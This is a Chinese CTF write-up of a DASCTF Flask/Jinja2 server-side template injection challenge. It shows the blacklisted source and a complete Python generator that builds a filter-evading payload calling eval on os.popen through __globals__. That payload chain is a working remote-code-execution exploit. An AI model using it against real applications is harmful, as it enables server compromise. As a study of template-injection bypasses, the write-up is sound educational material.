题目来源是2020年DASCTF 8月赛 ,通过这道题好好学习到了一些python jinja2 ssti的姿势。当时没做出来,后来参考颖奇师傅的博客做的。
链接:https://www.gem-love.com/ctf/2598.html
这道题目和最一般的ssti有些不一样,这道题更多的是利用了jinja2本身自带的过滤器进行了字符串的构造,又因为global没有被禁用,可以最终找到buitins中的eval进行命令执行,最终获得flag。
题目给了源码:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)
@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', 'add','+', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers','\'', '[', ']', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
print(no)
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''
<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
这道题的思路是通过构造最后的RCE语句然后使用eval进行执行。
可以看到在黑名单中,很多常用的方法所需字符都被过滤了,且无法传入引号,这里以往的绕过方法是用chr或者通过request.arg等方法进行绕过,但是这里会发现这两者都已经被过滤,下面从jinja2本身的特性出发进行,payload的构造。
任何未被定义的变量在jinja2模板中都会默认成Undefined,我们可以通过这个类来找到builtins中的函数。
同时python类中有一个魔术方法是doc,其作用是返回类或函数的文档字符串,如果不存在则为None,由于大部分通过调包使用的类都有着良好的编程规范,都会对类定义doc方法。那么是不是可以通过这个方法来获得我们所需要的字符串呢?
可以看到可以利用的字符还是挺多的,下面就是通过这些字符和jinja2的过滤器及全局函数进行RCE语句构造。
jinja2内置过滤器清单:http://doc.yonyoucloud.com/doc/jinja2-docs-cn/templates.html
下面是几个要用到的过滤器和全局函数的介绍:
下面先通过构造%c来,然后通过格式化字符串来构造任意字符。
python可以利用%进行格式化字符串。
%c通过传入字符的ascii码进行格式化字符串。
先构造%
{%set te=(a.__doc__|urlencode|list()).pop(3)%}
构造%c
{%set te=(a.__doc__|urlencode|list()).pop(3)%}
{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}
构造任意字符
{%set udl2=udl%(99)%}{{udl2}}
其中udl2就是任意构造的字符
由于这道题中+也被过滤了,寻找jinja2中定义的字符串拼接运算符
有了拼接字符和字符串拼接运算符,我们可以构造任意字符串。
poc如下:
base_exp='''
{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}'''
tmplate="{%set udl"+"{}"+"=udl%("+"{}"+")%}"
payload="__import__('os').popen('dir').read()"
data=""
exp=""
for i in range(len(payload)):
data+="{%set udl"+str(i)+"=udl%("+str(ord(payload[i]))+")%}"
for i in range(len(payload)):
exp+="udl{}~".format(i)
exp=exp[0:len(exp)-1]
exp_mid=base_exp+data+"{%"+"set exp="+exp+"%}"
最后就是通过在globals里面寻找eval函数,执行exp。这部分参考了颖奇师傅的部分。最终exp如下:
base_exp='''
{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}'''
tmplate="{%set udl"+"{}"+"=udl%("+"{}"+")%}"
payload="__import__('os').popen('dir').read()"
data=""
exp=""
for i in range(len(payload)):
data+="{%set udl"+str(i)+"=udl%("+str(ord(payload[i]))+")%}"
for i in range(len(payload)):
exp+="udl{}~".format(i)
exp=exp[0:len(exp)-1]
exp_mid=base_exp+data+"{%"+"set exp="+exp+"%}"
exp_end='''{% set bu = dict(__buil=aa,tins__=dd)|join() %}{% set ev = dict(ev=aa,al=dd)|join() %}{% for f,v in kkkkk.__init__.__globals__.items() %}{% if f == bu %} {% for a,b in v.items() %}{% if a == ev %}{%set func=b %}{{func(exp)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
'''
print(exp_mid+exp_end)
注意,如果最终从shell复制输出的exp的话,可能会存在空格丢失的情况,建议检查一下或者输出到文件。
结果:
参考链接:
https://xz.aliyun.com/t/8029
https://www.anquanke.com/post/id/188172
https://www.gem-love.com/ctf/2598.html
https://p0sec.net/index.php/archives/120/
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论